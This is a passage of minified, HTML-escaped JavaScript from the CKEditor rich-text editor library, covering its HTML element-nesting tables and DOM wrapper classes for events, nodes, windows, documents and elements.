a(b,{a:1,abbr:1,area:1,audio:1,b:1,bdi:1,bdo:1,br:1,button:1,canvas:1,cite:1,code:1,command:1,datalist:1,del:1,dfn:1,em:1,embed:1,i:1,iframe:1,img:1,input:1,ins:1,kbd:1,keygen:1,label:1,map:1,mark:1,meter:1,noscript:1,object:1,output:1,progress:1,q:1,ruby:1,s:1,samp:1,script:1,select:1,small:1,span:1,strong:1,sub:1,sup:1,textarea:1,time:1,u:1,&quot;var&quot;:1,video:1,wbr:1},h,{acronym:1,applet:1,basefont:1,big:1,font:1,isindex:1,strike:1,style:1,tt:1});a(c,f,b,p);d={a:d(b,{a:1,button:1}),abbr:b,address:c,
area:k,article:c,aside:c,audio:a({source:1,track:1},c),b:b,base:k,bdi:b,bdo:b,blockquote:c,body:c,br:k,button:d(b,{a:1,button:1}),canvas:b,caption:c,cite:b,code:b,col:k,colgroup:{col:1},command:k,datalist:a({option:1},b),dd:c,del:b,details:a({summary:1},c),dfn:b,div:c,dl:{dt:1,dd:1},dt:c,em:b,embed:k,fieldset:a({legend:1},c),figcaption:c,figure:a({figcaption:1},c),footer:c,form:c,h1:b,h2:b,h3:b,h4:b,h5:b,h6:b,head:a({title:1,base:1},g),header:c,hgroup:{h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},hr:k,html:a({head:1,
body:1},c,g),i:b,iframe:h,img:k,input:k,ins:b,kbd:b,keygen:k,label:b,legend:b,li:c,link:k,main:c,map:c,mark:b,menu:a({li:1},c),meta:k,meter:d(b,{meter:1}),nav:c,noscript:a({link:1,meta:1,style:1},b),object:a({param:1},b),ol:{li:1},optgroup:{option:1},option:h,output:b,p:b,param:k,pre:b,progress:d(b,{progress:1}),q:b,rp:b,rt:b,ruby:a({rp:1,rt:1},b),s:b,samp:b,script:h,section:c,select:{optgroup:1,option:1},small:b,source:k,span:b,strong:b,style:h,sub:b,summary:a({h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},b),
sup:b,table:{caption:1,colgroup:1,thead:1,tfoot:1,tbody:1,tr:1},tbody:{tr:1},td:c,textarea:h,tfoot:{tr:1},th:c,thead:{tr:1},time:d(b,{time:1}),title:h,tr:{th:1,td:1},track:k,u:b,ul:{li:1},&quot;var&quot;:b,video:a({source:1,track:1},c),wbr:k,acronym:b,applet:a({param:1},c),basefont:k,big:b,center:c,dialog:k,dir:{li:1},font:b,isindex:k,noframes:c,strike:b,tt:b};a(d,{$block:a({audio:1,dd:1,dt:1,figcaption:1,li:1,video:1},f,p),$blockLimit:{article:1,aside:1,audio:1,body:1,caption:1,details:1,dir:1,div:1,dl:1,
fieldset:1,figcaption:1,figure:1,footer:1,form:1,header:1,hgroup:1,main:1,menu:1,nav:1,ol:1,section:1,table:1,td:1,th:1,tr:1,ul:1,video:1},$cdata:{script:1,style:1},$editable:{address:1,article:1,aside:1,blockquote:1,body:1,details:1,div:1,fieldset:1,figcaption:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,main:1,nav:1,p:1,pre:1,section:1},$empty:{area:1,base:1,basefont:1,br:1,col:1,command:1,dialog:1,embed:1,hr:1,img:1,input:1,isindex:1,keygen:1,link:1,meta:1,param:1,source:1,
track:1,wbr:1},$inline:b,$list:{dl:1,ol:1,ul:1},$listItem:{dd:1,dt:1,li:1},$nonBodyContent:a({body:1,head:1,html:1},d.head),$nonEditable:{applet:1,audio:1,button:1,embed:1,iframe:1,map:1,object:1,option:1,param:1,script:1,textarea:1,video:1},$object:{applet:1,audio:1,button:1,hr:1,iframe:1,img:1,input:1,object:1,select:1,table:1,textarea:1,video:1},$removeEmpty:{abbr:1,acronym:1,b:1,bdi:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,mark:1,meter:1,output:1,q:1,ruby:1,
s:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,time:1,tt:1,u:1,&quot;var&quot;:1},$tabIndex:{a:1,area:1,button:1,input:1,object:1,select:1,textarea:1},$tableContent:{caption:1,col:1,colgroup:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1},$transparent:{a:1,audio:1,canvas:1,del:1,ins:1,map:1,noscript:1,object:1,video:1},$intermediate:{caption:1,colgroup:1,dd:1,dt:1,figcaption:1,legend:1,li:1,optgroup:1,option:1,rp:1,rt:1,summary:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1}});return d}();
CKEDITOR.dom.event=function(a){this.$=a};
CKEDITOR.dom.event.prototype={getKey:function(){return this.$.keyCode||this.$.which},getKeystroke:function(){var a=this.getKey();if(this.$.ctrlKey||this.$.metaKey)a+=CKEDITOR.CTRL;this.$.shiftKey&amp;&amp;(a+=CKEDITOR.SHIFT);this.$.altKey&amp;&amp;(a+=CKEDITOR.ALT);return a},preventDefault:function(a){var d=this.$;d.preventDefault?d.preventDefault():d.returnValue=!1;a&amp;&amp;this.stopPropagation()},stopPropagation:function(){var a=this.$;a.stopPropagation?a.stopPropagation():a.cancelBubble=!0},getTarget:function(){var a=
this.$.target||this.$.srcElement;return a?new CKEDITOR.dom.node(a):null},getPhase:function(){return this.$.eventPhase||2},getPageOffset:function(){var a=this.getTarget().getDocument().$;return{x:this.$.pageX||this.$.clientX+(a.documentElement.scrollLeft||a.body.scrollLeft),y:this.$.pageY||this.$.clientY+(a.documentElement.scrollTop||a.body.scrollTop)}}};CKEDITOR.CTRL=1114112;CKEDITOR.SHIFT=2228224;CKEDITOR.ALT=4456448;CKEDITOR.EVENT_PHASE_CAPTURING=1;CKEDITOR.EVENT_PHASE_AT_TARGET=2;
CKEDITOR.EVENT_PHASE_BUBBLING=3;CKEDITOR.dom.domObject=function(a){a&amp;&amp;(this.$=a)};
CKEDITOR.dom.domObject.prototype=function(){var a=function(a,b){return function(c){&quot;undefined&quot;!=typeof CKEDITOR&amp;&amp;a.fire(b,new CKEDITOR.dom.event(c))}};return{getPrivate:function(){var a;(a=this.getCustomData(&quot;_&quot;))||this.setCustomData(&quot;_&quot;,a={});return a},on:function(d){var b=this.getCustomData(&quot;_cke_nativeListeners&quot;);b||(b={},this.setCustomData(&quot;_cke_nativeListeners&quot;,b));b[d]||(b=b[d]=a(this,d),this.$.addEventListener?this.$.addEventListener(d,b,!!CKEDITOR.event.useCapture):this.$.attachEvent&amp;&amp;this.$.attachEvent(&quot;on&quot;+
d,b));return CKEDITOR.event.prototype.on.apply(this,arguments)},removeListener:function(a){CKEDITOR.event.prototype.removeListener.apply(this,arguments);if(!this.hasListeners(a)){var b=this.getCustomData(&quot;_cke_nativeListeners&quot;),c=b&amp;&amp;b[a];c&amp;&amp;(this.$.removeEventListener?this.$.removeEventListener(a,c,!1):this.$.detachEvent&amp;&amp;this.$.detachEvent(&quot;on&quot;+a,c),delete b[a])}},removeAllListeners:function(){var a=this.getCustomData(&quot;_cke_nativeListeners&quot;),b;for(b in a){var c=a[b];this.$.detachEvent?this.$.detachEvent(&quot;on&quot;+
b,c):this.$.removeEventListener&amp;&amp;this.$.removeEventListener(b,c,!1);delete a[b]}CKEDITOR.event.prototype.removeAllListeners.call(this)}}}();
(function(a){var d={};CKEDITOR.on(&quot;reset&quot;,function(){d={}});a.equals=function(a){try{return a&amp;&amp;a.$===this.$}catch(c){return!1}};a.setCustomData=function(a,c){var f=this.getUniqueId();(d[f]||(d[f]={}))[a]=c;return this};a.getCustomData=function(a){var c=this.$[&quot;data-cke-expando&quot;];return(c=c&amp;&amp;d[c])&amp;&amp;a in c?c[a]:null};a.removeCustomData=function(a){var c=this.$[&quot;data-cke-expando&quot;],c=c&amp;&amp;d[c],f,g;c&amp;&amp;(f=c[a],g=a in c,delete c[a]);return g?f:null};a.clearCustomData=function(){this.removeAllListeners();var a=
this.$[&quot;data-cke-expando&quot;];a&amp;&amp;delete d[a]};a.getUniqueId=function(){return this.$[&quot;data-cke-expando&quot;]||(this.$[&quot;data-cke-expando&quot;]=CKEDITOR.tools.getNextNumber())};CKEDITOR.event.implementOn(a)})(CKEDITOR.dom.domObject.prototype);
CKEDITOR.dom.node=function(a){return a?new CKEDITOR.dom[a.nodeType==CKEDITOR.NODE_DOCUMENT?&quot;document&quot;:a.nodeType==CKEDITOR.NODE_ELEMENT?&quot;element&quot;:a.nodeType==CKEDITOR.NODE_TEXT?&quot;text&quot;:a.nodeType==CKEDITOR.NODE_COMMENT?&quot;comment&quot;:a.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT?&quot;documentFragment&quot;:&quot;domObject&quot;](a):this};CKEDITOR.dom.node.prototype=new CKEDITOR.dom.domObject;CKEDITOR.NODE_ELEMENT=1;CKEDITOR.NODE_DOCUMENT=9;CKEDITOR.NODE_TEXT=3;CKEDITOR.NODE_COMMENT=8;CKEDITOR.NODE_DOCUMENT_FRAGMENT=11;
CKEDITOR.POSITION_IDENTICAL=0;CKEDITOR.POSITION_DISCONNECTED=1;CKEDITOR.POSITION_FOLLOWING=2;CKEDITOR.POSITION_PRECEDING=4;CKEDITOR.POSITION_IS_CONTAINED=8;CKEDITOR.POSITION_CONTAINS=16;
CKEDITOR.tools.extend(CKEDITOR.dom.node.prototype,{appendTo:function(a,d){a.append(this,d);return a},clone:function(a,d){function b(c){c[&quot;data-cke-expando&quot;]&amp;&amp;(c[&quot;data-cke-expando&quot;]=!1);if(c.nodeType==CKEDITOR.NODE_ELEMENT||c.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT)if(d||c.nodeType!=CKEDITOR.NODE_ELEMENT||c.removeAttribute(&quot;id&quot;,!1),a){c=c.childNodes;for(var f=0;f&lt;c.length;f++)b(c[f])}}function c(b){if(b.type==CKEDITOR.NODE_ELEMENT||b.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT){if(b.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var d=
b.getName();&quot;:&quot;==d[0]&amp;&amp;b.renameNode(d.substring(1))}if(a)for(d=0;d&lt;b.getChildCount();d++)c(b.getChild(d))}}var f=this.$.cloneNode(a);b(f);f=new CKEDITOR.dom.node(f);CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version&amp;&amp;(this.type==CKEDITOR.NODE_ELEMENT||this.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)&amp;&amp;c(f);return f},hasPrevious:function(){return!!this.$.previousSibling},hasNext:function(){return!!this.$.nextSibling},insertAfter:function(a){a.$.parentNode.insertBefore(this.$,a.$.nextSibling);return a},insertBefore:function(a){a.$.parentNode.insertBefore(this.$,
a.$);return a},insertBeforeMe:function(a){this.$.parentNode.insertBefore(a.$,this.$);return a},getAddress:function(a){for(var d=[],b=this.getDocument().$.documentElement,c=this.$;c&amp;&amp;c!=b;){var f=c.parentNode;f&amp;&amp;d.unshift(this.getIndex.call({$:c},a));c=f}return d},getDocument:function(){return new CKEDITOR.dom.document(this.$.ownerDocument||this.$.parentNode.ownerDocument)},getIndex:function(a){function d(a,c){var p=c?a.nextSibling:a.previousSibling;return p&amp;&amp;p.nodeType==CKEDITOR.NODE_TEXT?b(p)?d(p,
c):p:null}function b(a){return!a.nodeValue||a.nodeValue==CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE}var c=this.$,f=-1,g;if(!this.$.parentNode||a&amp;&amp;c.nodeType==CKEDITOR.NODE_TEXT&amp;&amp;b(c)&amp;&amp;!d(c)&amp;&amp;!d(c,!0))return-1;do a&amp;&amp;c!=this.$&amp;&amp;c.nodeType==CKEDITOR.NODE_TEXT&amp;&amp;(g||b(c))||(f++,g=c.nodeType==CKEDITOR.NODE_TEXT);while(c=c.previousSibling);return f},getNextSourceNode:function(a,d,b){if(b&amp;&amp;!b.call){var c=b;b=function(a){return!a.equals(c)}}a=!a&amp;&amp;this.getFirst&amp;&amp;this.getFirst();var f;if(!a){if(this.type==
CKEDITOR.NODE_ELEMENT&amp;&amp;b&amp;&amp;!1===b(this,!0))return null;a=this.getNext()}for(;!a&amp;&amp;(f=(f||this).getParent());){if(b&amp;&amp;!1===b(f,!0))return null;a=f.getNext()}return!a||b&amp;&amp;!1===b(a)?null:d&amp;&amp;d!=a.type?a.getNextSourceNode(!1,d,b):a},getPreviousSourceNode:function(a,d,b){if(b&amp;&amp;!b.call){var c=b;b=function(a){return!a.equals(c)}}a=!a&amp;&amp;this.getLast&amp;&amp;this.getLast();var f;if(!a){if(this.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b&amp;&amp;!1===b(this,!0))return null;a=this.getPrevious()}for(;!a&amp;&amp;(f=(f||this).getParent());){if(b&amp;&amp;!1===
b(f,!0))return null;a=f.getPrevious()}return!a||b&amp;&amp;!1===b(a)?null:d&amp;&amp;a.type!=d?a.getPreviousSourceNode(!1,d,b):a},getPrevious:function(a){var d=this.$,b;do b=(d=d.previousSibling)&amp;&amp;10!=d.nodeType&amp;&amp;new CKEDITOR.dom.node(d);while(b&amp;&amp;a&amp;&amp;!a(b));return b},getNext:function(a){var d=this.$,b;do b=(d=d.nextSibling)&amp;&amp;new CKEDITOR.dom.node(d);while(b&amp;&amp;a&amp;&amp;!a(b));return b},getParent:function(a){var d=this.$.parentNode;return d&amp;&amp;(d.nodeType==CKEDITOR.NODE_ELEMENT||a&amp;&amp;d.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT)?
new CKEDITOR.dom.node(d):null},getParents:function(a){var d=this,b=[];do b[a?&quot;push&quot;:&quot;unshift&quot;](d);while(d=d.getParent());return b},getCommonAncestor:function(a){if(a.equals(this))return this;if(a.contains&amp;&amp;a.contains(this))return a;var d=this.contains?this:this.getParent();do if(d.contains(a))return d;while(d=d.getParent());return null},getPosition:function(a){var d=this.$,b=a.$;if(d.compareDocumentPosition)return d.compareDocumentPosition(b);if(d==b)return CKEDITOR.POSITION_IDENTICAL;if(this.type==
CKEDITOR.NODE_ELEMENT&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT){if(d.contains){if(d.contains(b))return CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_PRECEDING;if(b.contains(d))return CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING}if(&quot;sourceIndex&quot;in d)return 0&gt;d.sourceIndex||0&gt;b.sourceIndex?CKEDITOR.POSITION_DISCONNECTED:d.sourceIndex&lt;b.sourceIndex?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING}d=this.getAddress();a=a.getAddress();for(var b=Math.min(d.length,a.length),c=0;c&lt;b;c++)if(d[c]!=
a[c])return d[c]&lt;a[c]?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING;return d.length&lt;a.length?CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING},getAscendant:function(a,d){var b=this.$,c,f;d||(b=b.parentNode);&quot;function&quot;==typeof a?(f=!0,c=a):(f=!1,c=function(b){b=&quot;string&quot;==typeof b.nodeName?b.nodeName.toLowerCase():&quot;&quot;;return&quot;string&quot;==typeof a?b==a:b in a});for(;b;){if(c(f?new CKEDITOR.dom.node(b):b))return new CKEDITOR.dom.node(b);
try{b=b.parentNode}catch(g){b=null}}return null},hasAscendant:function(a,d){var b=this.$;d||(b=b.parentNode);for(;b;){if(b.nodeName&amp;&amp;b.nodeName.toLowerCase()==a)return!0;b=b.parentNode}return!1},move:function(a,d){a.append(this.remove(),d)},remove:function(a){var d=this.$,b=d.parentNode;if(b){if(a)for(;a=d.firstChild;)b.insertBefore(d.removeChild(a),d);b.removeChild(d)}return this},replace:function(a){this.insertBefore(a);a.remove()},trim:function(){this.ltrim();this.rtrim()},ltrim:function(){for(var a;this.getFirst&amp;&amp;
(a=this.getFirst());){if(a.type==CKEDITOR.NODE_TEXT){var d=CKEDITOR.tools.ltrim(a.getText()),b=a.getLength();if(d)d.length&lt;b&amp;&amp;(a.split(b-d.length),this.$.removeChild(this.$.firstChild));else{a.remove();continue}}break}},rtrim:function(){for(var a;this.getLast&amp;&amp;(a=this.getLast());){if(a.type==CKEDITOR.NODE_TEXT){var d=CKEDITOR.tools.rtrim(a.getText()),b=a.getLength();if(d)d.length&lt;b&amp;&amp;(a.split(d.length),this.$.lastChild.parentNode.removeChild(this.$.lastChild));else{a.remove();continue}}break}CKEDITOR.env.needsBrFiller&amp;&amp;
(a=this.$.lastChild)&amp;&amp;1==a.type&amp;&amp;&quot;br&quot;==a.nodeName.toLowerCase()&amp;&amp;a.parentNode.removeChild(a)},isReadOnly:function(a){var d=this;this.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(d=this.getParent());CKEDITOR.env.edge&amp;&amp;d&amp;&amp;d.is(&quot;textarea&quot;,&quot;input&quot;)&amp;&amp;(a=!0);if(!a&amp;&amp;d&amp;&amp;&quot;undefined&quot;!=typeof d.$.isContentEditable)return!(d.$.isContentEditable||d.data(&quot;cke-editable&quot;));for(;d;){if(d.data(&quot;cke-editable&quot;))return!1;if(d.hasAttribute(&quot;contenteditable&quot;))return&quot;false&quot;==d.getAttribute(&quot;contenteditable&quot;);d=d.getParent()}return!0}});
CKEDITOR.dom.window=function(a){CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.window.prototype=new CKEDITOR.dom.domObject;
CKEDITOR.tools.extend(CKEDITOR.dom.window.prototype,{focus:function(){this.$.focus()},getViewPaneSize:function(){var a=this.$.document,d=&quot;CSS1Compat&quot;==a.compatMode;return{width:(d?a.documentElement.clientWidth:a.body.clientWidth)||0,height:(d?a.documentElement.clientHeight:a.body.clientHeight)||0}},getScrollPosition:function(){var a=this.$;if(&quot;pageXOffset&quot;in a)return{x:a.pageXOffset||0,y:a.pageYOffset||0};a=a.document;return{x:a.documentElement.scrollLeft||a.body.scrollLeft||0,y:a.documentElement.scrollTop||
a.body.scrollTop||0}},getFrame:function(){var a=this.$.frameElement;return a?new CKEDITOR.dom.element.get(a):null}});CKEDITOR.dom.document=function(a){CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.document.prototype=new CKEDITOR.dom.domObject;
CKEDITOR.tools.extend(CKEDITOR.dom.document.prototype,{type:CKEDITOR.NODE_DOCUMENT,appendStyleSheet:function(a){if(this.$.createStyleSheet)this.$.createStyleSheet(a);else{var d=new CKEDITOR.dom.element(&quot;link&quot;);d.setAttributes({rel:&quot;stylesheet&quot;,type:&quot;text/css&quot;,href:a});this.getHead().append(d)}},appendStyleText:function(a){if(this.$.createStyleSheet){var d=this.$.createStyleSheet(&quot;&quot;);d.cssText=a}else{var b=new CKEDITOR.dom.element(&quot;style&quot;,this);b.append(new CKEDITOR.dom.text(a,this));this.getHead().append(b)}return d||
b.$.sheet},createElement:function(a,d){var b=new CKEDITOR.dom.element(a,this);d&amp;&amp;(d.attributes&amp;&amp;b.setAttributes(d.attributes),d.styles&amp;&amp;b.setStyles(d.styles));return b},createText:function(a){return new CKEDITOR.dom.text(a,this)},focus:function(){this.getWindow().focus()},getActive:function(){var a;try{a=this.$.activeElement}catch(d){return null}return new CKEDITOR.dom.element(a)},getById:function(a){return(a=this.$.getElementById(a))?new CKEDITOR.dom.element(a):null},getByAddress:function(a,d){for(var b=
this.$.documentElement,c=0;b&amp;&amp;c&lt;a.length;c++){var f=a[c];if(d)for(var g=-1,k=0;k&lt;b.childNodes.length;k++){var h=b.childNodes[k];if(!0!==d||3!=h.nodeType||!h.previousSibling||3!=h.previousSibling.nodeType)if(g++,g==f){b=h;break}}else b=b.childNodes[f]}return b?new CKEDITOR.dom.node(b):null},getElementsByTag:function(a,d){CKEDITOR.env.ie&amp;&amp;8&gt;=document.documentMode||!d||(a=d+&quot;:&quot;+a);return new CKEDITOR.dom.nodeList(this.$.getElementsByTagName(a))},getHead:function(){var a=this.$.getElementsByTagName(&quot;head&quot;)[0];
return a=a?new CKEDITOR.dom.element(a):this.getDocumentElement().append(new CKEDITOR.dom.element(&quot;head&quot;),!0)},getBody:function(){return new CKEDITOR.dom.element(this.$.body)},getDocumentElement:function(){return new CKEDITOR.dom.element(this.$.documentElement)},getWindow:function(){return new CKEDITOR.dom.window(this.$.parentWindow||this.$.defaultView)},write:function(a){this.$.open(&quot;text/html&quot;,&quot;replace&quot;);CKEDITOR.env.ie&amp;&amp;(a=a.replace(/(?:^\s*&lt;!DOCTYPE[^&gt;]*?&gt;)|^/i,&#039;$\x26\n\x3cscript data-cke-temp\x3d&quot;1&quot;\x3e(&#039;+
CKEDITOR.tools.fixDomain+&quot;)();\x3c/script\x3e&quot;));this.$.write(a);this.$.close()},find:function(a){return new CKEDITOR.dom.nodeList(this.$.querySelectorAll(a))},findOne:function(a){return(a=this.$.querySelector(a))?new CKEDITOR.dom.element(a):null},_getHtml5ShivFrag:function(){var a=this.getCustomData(&quot;html5ShivFrag&quot;);a||(a=this.$.createDocumentFragment(),CKEDITOR.tools.enableHtml5Elements(a,!0),this.setCustomData(&quot;html5ShivFrag&quot;,a));return a}});CKEDITOR.dom.nodeList=function(a){this.$=a};
CKEDITOR.dom.nodeList.prototype={count:function(){return this.$.length},getItem:function(a){return 0&gt;a||a&gt;=this.$.length?null:(a=this.$[a])?new CKEDITOR.dom.node(a):null},toArray:function(){return CKEDITOR.tools.array.map(this.$,function(a){return new CKEDITOR.dom.node(a)})}};CKEDITOR.dom.element=function(a,d){&quot;string&quot;==typeof a&amp;&amp;(a=(d?d.$:document).createElement(a));CKEDITOR.dom.domObject.call(this,a)};
CKEDITOR.dom.element.get=function(a){return(a=&quot;string&quot;==typeof a?document.getElementById(a)||document.getElementsByName(a)[0]:a)&amp;&amp;(a.$?a:new CKEDITOR.dom.element(a))};CKEDITOR.dom.element.prototype=new CKEDITOR.dom.node;CKEDITOR.dom.element.createFromHtml=function(a,d){var b=new CKEDITOR.dom.element(&quot;div&quot;,d);b.setHtml(a);return b.getFirst().remove()};
CKEDITOR.dom.element.setMarker=function(a,d,b,c){var f=d.getCustomData(&quot;list_marker_id&quot;)||d.setCustomData(&quot;list_marker_id&quot;,CKEDITOR.tools.getNextNumber()).getCustomData(&quot;list_marker_id&quot;),g=d.getCustomData(&quot;list_marker_names&quot;)||d.setCustomData(&quot;list_marker_names&quot;,{}).getCustomData(&quot;list_marker_names&quot;);a[f]=d;g[b]=1;return d.setCustomData(b,c)};CKEDITOR.dom.element.clearAllMarkers=function(a){for(var d in a)CKEDITOR.dom.element.clearMarkers(a,a[d],1)};
CKEDITOR.dom.element.clearMarkers=function(a,d,b){var c=d.getCustomData(&quot;list_marker_names&quot;),f=d.getCustomData(&quot;list_marker_id&quot;),g;for(g in c)d.removeCustomData(g);d.removeCustomData(&quot;list_marker_names&quot;);b&amp;&amp;(d.removeCustomData(&quot;list_marker_id&quot;),delete a[f])};
(function(){function a(a,b){return-1&lt;(&quot; &quot;+a+&quot; &quot;).replace(g,&quot; &quot;).indexOf(&quot; &quot;+b+&quot; &quot;)}function d(a){var b=!0;a.$.id||(a.$.id=&quot;cke_tmp_&quot;+CKEDITOR.tools.getNextNumber(),b=!1);return function(){b||a.removeAttribute(&quot;id&quot;)}}function b(a,b){var c=CKEDITOR.tools.escapeCss(a.$.id);return&quot;#&quot;+c+&quot; &quot;+b.split(/,\s*/).join(&quot;, #&quot;+c+&quot; &quot;)}function c(a){for(var b=0,c=0,e=k[a].length;c&lt;e;c++)b+=parseFloat(this.getComputedStyle(k[a][c])||0,10)||0;return b}var f=document.createElement(&quot;_&quot;).classList,f=&quot;undefined&quot;!==typeof f&amp;&amp;
null!==String(f.add).match(/\[Native code\]/gi),g=/[\n\t\r]/g;CKEDITOR.tools.extend(CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_ELEMENT,addClass:f?function(a){this.$.classList.add(a);return this}:function(b){var c=this.$.className;c&amp;&amp;(a(c,b)||(c+=&quot; &quot;+b));this.$.className=c||b;return this},removeClass:f?function(a){var b=this.$;b.classList.remove(a);b.className||b.removeAttribute(&quot;class&quot;);return this}:function(b){var c=this.getAttribute(&quot;class&quot;);c&amp;&amp;a(c,b)&amp;&amp;((c=c.replace(new RegExp(&quot;(?:^|\\s+)&quot;+
b+&quot;(?\x3d\\s|$)&quot;),&quot;&quot;).replace(/^\s+/,&quot;&quot;))?this.setAttribute(&quot;class&quot;,c):this.removeAttribute(&quot;class&quot;));return this},hasClass:function(b){return a(this.$.className,b)},append:function(a,b){&quot;string&quot;==typeof a&amp;&amp;(a=this.getDocument().createElement(a));b?this.$.insertBefore(a.$,this.$.firstChild):this.$.appendChild(a.$);return a},appendHtml:function(a){if(this.$.childNodes.length){var b=new CKEDITOR.dom.element(&quot;div&quot;,this.getDocument());b.setHtml(a);b.moveChildren(this)}else this.setHtml(a)},appendText:function(a){null!=
this.$.text&amp;&amp;CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version?this.$.text+=a:this.append(new CKEDITOR.dom.text(a))},appendBogus:function(a){if(a||CKEDITOR.env.needsBrFiller){for(a=this.getLast();a&amp;&amp;a.type==CKEDITOR.NODE_TEXT&amp;&amp;!CKEDITOR.tools.rtrim(a.getText());)a=a.getPrevious();a&amp;&amp;a.is&amp;&amp;a.is(&quot;br&quot;)||(a=this.getDocument().createElement(&quot;br&quot;),CKEDITOR.env.gecko&amp;&amp;a.setAttribute(&quot;type&quot;,&quot;_moz&quot;),this.append(a))}},breakParent:function(a,b){var c=new CKEDITOR.dom.range(this.getDocument());c.setStartAfter(this);c.setEndAfter(a);
var e=c.extractContents(!1,b||!1),d;c.insertNode(this.remove());if(CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge){for(c=new CKEDITOR.dom.element(&quot;div&quot;);d=e.getFirst();)d.$.style.backgroundColor&amp;&amp;(d.$.style.backgroundColor=d.$.style.backgroundColor),c.append(d);c.insertAfter(this);c.remove(!0)}else e.insertAfterNode(this)},contains:document.compareDocumentPosition?function(a){return!!(this.$.compareDocumentPosition(a.$)&amp;16)}:function(a){var b=this.$;return a.type!=CKEDITOR.NODE_ELEMENT?b.contains(a.getParent().$):
b!=a.$&amp;&amp;b.contains(a.$)},focus:function(){function a(){try{this.$.focus()}catch(b){}}return function(b){b?CKEDITOR.tools.setTimeout(a,100,this):a.call(this)}}(),getHtml:function(){var a=this.$.innerHTML;return CKEDITOR.env.ie?a.replace(/&lt;\?[^&gt;]*&gt;/g,&quot;&quot;):a},getOuterHtml:function(){if(this.$.outerHTML)return this.$.outerHTML.replace(/&lt;\?[^&gt;]*&gt;/,&quot;&quot;);var a=this.$.ownerDocument.createElement(&quot;div&quot;);a.appendChild(this.$.cloneNode(!0));return a.innerHTML},getClientRect:function(a){var b=CKEDITOR.tools.extend({},
this.$.getBoundingClientRect());!b.width&amp;&amp;(b.width=b.right-b.left);!b.height&amp;&amp;(b.height=b.bottom-b.top);return a?CKEDITOR.tools.getAbsoluteRectPosition(this.getWindow(),b):b},setHtml:CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version?function(a){try{var b=this.$;if(this.getParent())return b.innerHTML=a;var c=this.getDocument()._getHtml5ShivFrag();c.appendChild(b);b.innerHTML=a;c.removeChild(b);return a}catch(e){this.$.innerHTML=&quot;&quot;;b=new CKEDITOR.dom.element(&quot;body&quot;,this.getDocument());b.$.innerHTML=a;for(b=b.getChildren();b.count();)this.append(b.getItem(0));
return a}}:function(a){return this.$.innerHTML=a},setText:function(){var a=document.createElement(&quot;p&quot;);a.innerHTML=&quot;x&quot;;a=a.textContent;return function(b){this.$[a?&quot;textContent&quot;:&quot;innerText&quot;]=b}}(),getAttribute:function(){var a=function(a){return this.$.getAttribute(a,2)};return CKEDITOR.env.ie&amp;&amp;(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(a){switch(a){case &quot;class&quot;:a=&quot;className&quot;;break;case &quot;http-equiv&quot;:a=&quot;httpEquiv&quot;;break;case &quot;name&quot;:return this.$.name;case &quot;tabindex&quot;:return a=this.$.getAttribute(a,
2),0!==a&amp;&amp;0===this.$.tabIndex&amp;&amp;(a=null),a;case &quot;checked&quot;:return a=this.$.attributes.getNamedItem(a),(a.specified?a.nodeValue:this.$.checked)?&quot;checked&quot;:null;case &quot;hspace&quot;:case &quot;value&quot;:return this.$[a];case &quot;style&quot;:return this.$.style.cssText;case &quot;contenteditable&quot;:case &quot;contentEditable&quot;:return this.$.attributes.getNamedItem(&quot;contentEditable&quot;).specified?this.$.getAttribute(&quot;contentEditable&quot;):null}return this.$.getAttribute(a,2)}:a}(),getAttributes:function(a){var b={},c=this.$.attributes,e;a=CKEDITOR.tools.isArray(a)?
a:[];for(e=0;e&lt;c.length;e++)-1===CKEDITOR.tools.indexOf(a,c[e].name)&amp;&amp;(b[c[e].name]=c[e].value);return b},getChildren:function(){return new CKEDITOR.dom.nodeList(this.$.childNodes)},getComputedStyle:document.defaultView&amp;&amp;document.defaultView.getComputedStyle?function(a){var b=this.getWindow().$.getComputedStyle(this.$,null);return b?b.getPropertyValue(a):&quot;&quot;}:function(a){return this.$.currentStyle[CKEDITOR.tools.cssStyleToDomStyle(a)]},getDtd:function(){var a=CKEDITOR.dtd[this.getName()];this.getDtd=
function(){return a};return a},getElementsByTag:CKEDITOR.dom.document.prototype.getElementsByTag,getTabIndex:function(){var a=this.$.tabIndex;return 0!==a||CKEDITOR.dtd.$tabIndex[this.getName()]||0===parseInt(this.getAttribute(&quot;tabindex&quot;),10)?a:-1},getText:function(){return this.$.textContent||this.$.innerText||&quot;&quot;},getWindow:function(){return this.getDocument().getWindow()},getId:function(){return this.$.id||null},getNameAtt:function(){return this.$.name||null},getName:function(){var a=this.$.nodeName.toLowerCase();
